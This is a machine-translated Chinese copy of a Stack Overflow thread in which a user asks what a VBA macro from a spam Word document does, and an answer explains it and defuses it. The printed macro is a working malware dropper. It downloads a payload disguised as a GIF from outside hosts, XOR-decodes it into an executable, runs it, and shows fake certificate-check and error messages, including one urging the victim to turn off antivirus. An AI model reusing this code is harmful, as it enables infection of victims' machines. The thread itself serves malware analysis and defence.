vba - 垃圾邮件发送者/攻击者/坏人发送了包含大宏的MS word文档。有人可以理解此宏的作用吗？

让堆栈溢出的示例上下文发布了此问题。

在这里，他尝试将其在Mac和Windows上的工作结合起来。

#If VBA7 And Win64 Then
Private Declare PtrSafe Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If

该攻击者似乎打开了此文档。

Sub Document_Open()

Dim wyqud As String
Dim zdwie As Long
Dim rufhd As Long
Dim bldos As Integer
Dim mufid() As Byte

#If Win64 Then
Dim kmvbf As LongLong
#Else
Dim kmvbf As Long
#End If

这是在做什么

ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100

Set myRange = ActiveDocument.Content

With myRange.Font
 .Name = "Verdana"
 .Size = 14
End With

ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & "     Please wait..."

是否应该损坏我的计算机？

DoEvents
DoEvents
DoEvents
DoEvents

wyqud = lwyfu
zdwie = Gshwjf(0, "http://adenzia.ch/_vti_cnf/bug.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)

If zdwie <> 0 And rufhd < 152143 Then
zdwie = Gshwjf(0, "http://kingofstreets.de/class/meq.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
End If


If rufhd < 154743 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If

bldos = FreeFile
Open wyqud For Binary As #bldos
ReDim mufid(0 To LOF(bldos) - 1)
Get #bldos, , mufid()
Close #bldos

Call duwif(mufid())

不知道这是在做什么

wyqud = Left(wyqud, Len(wyqud) - 3)
wyqud = wyqud & "exe"

bldos = FreeFile
Open wyqud For Binary As #bldos
Put #bldos, , mufid()
Close #bldos


kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)

ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"

End Sub

巧妙地编写不可读的代码。

Public Function lwyfu() As String
  Dim djfie As String * 512
  Dim pwifu As String * 576
  Dim dwuf As Long
  Dim wefkg As String
  dwuf = Uhdwuud(512, djfie)
  If (dwuf > 0 And dwuf < 512) Then
    dwuf = Uhduiuwd(djfie, 0, 0, pwifu)
    If dwuf <> 0 Then
        wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
    End If
    lwyfu = wefkg
  End If
End Function

另一个功能

Public Sub duwif(mufid() As Byte)
  Dim dfety As Long
  Dim bvjwi As Long
  Dim wbdys As Long
  Dim dvywi(256) As Byte
  Dim wdals As Long
  Dim dwiqh As Long


  bvjwi = UBound(mufid) + 1

  For dfety = 10 To 265
    dvywi(dfety - 10) = mufid(dfety)
  Next

  wdals = UBound(dvywi) + 1

  dwiqh = 0
  For dfety = 266 To (bvjwi - 267)
    mufid(dfety - 266) = mufid(dfety) Xor dvywi(dwiqh)
    dwiqh = dwiqh + 1

    If dwiqh = (wdals - 1) Then
        dwiqh = 0
    End If
  Next

  ReDim Preserve mufid(bvjwi - 267)

End Sub

宏的结尾

最佳答案

评论是正确的；宏会下载并执行恶意软件/ spy 软件。

它会尝试两个GIF URL(如果下载失败，甚至会提示用户禁用防火墙/ AV)。这两个GIF是相同的(相同的SHA256校验和)，它们具有适当的GIF header 块(“GIF89a”)，甚至还有一些字节描述了什么是图像数据。

宏使用duwif()子例程(第105行)从下载的GIF中提取可执行二进制文件。它将二进制文件存储在一个临时文件中，该文件的引用由lwyfu()函数创建(第90行)。

然后，宏在第82行执行二进制文件:

kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)

您可以修改宏以删除/注释执行语句并插入无害的内容。例如:

REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud

这将打开一个消息框，其中包含提取的二进制文件的路径，而不是执行它。

二进制校验和为(SHA256)

55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd

几个防病毒提供程序将此文件标记为恶意软件，并且自动分析显示某些可疑行为。

VirusTotal.com Report

Hybrid-Analysis.com Report

关于vba - 垃圾邮件发送者/攻击者/坏人发送了包含大宏的MS word文档。有人可以理解此宏的作用吗？，我们在Stack Overflow上找到一个类似的问题：https://stackoverflow.com/questions/43054472/